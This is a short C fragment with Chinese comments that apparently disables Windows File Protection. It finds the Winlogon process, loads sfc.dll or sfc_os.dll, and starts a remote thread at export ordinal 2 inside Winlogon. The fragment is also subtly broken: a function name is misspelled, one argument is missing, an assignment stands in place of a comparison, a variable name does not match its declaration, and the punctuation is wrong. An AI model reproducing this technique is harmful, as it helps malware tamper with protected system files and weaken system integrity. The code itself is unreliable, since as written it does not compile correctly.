/*得到进程的ID,具体的方法可以使用CreateToolHelpSnap32(),ProcessFirst32()以及ProcessNext32()得到*/
DWORD dwPid=GetProcessIdFromName(“Winlogon.exe”);
HANDLE Process=OpenProcess(,FALSE,dwPid);
DWORD dwVersion;
HMODULE hSfc;
dwVersion = GetVersion();
//判断操作系统的类型
if ((DWORD)(LOBYTE(LOWORD(dwVersion))) == 5)
{ // Windows 2000/XP
if((DWORD)(HIBYTE(LOWORD(dwVersion))) == 0) //Windows 2000
hSfc = LoadLibrary("sfc.dll");
else if((DWORD)(HIBYTE(LOWORD(dwVersion))) = 1) //Windows XP
hSfc = LoadLibrary("sfc_os.dll");
}
//得到函数的地址
FARPROC dwAddress=GerProcAddress(hSfc, MAKEINTRESOURCE(2));
DWORD dwThreadId;
HANDLE hThread;
//创建远线程
hThread =CreateRemoteThread(hProcess,0,0, /
(DWORD (__stdcall *) (void *)) dwAddress,0,0,&dwThreadId);
WaitForSingleObject(hThread,0x0FA0);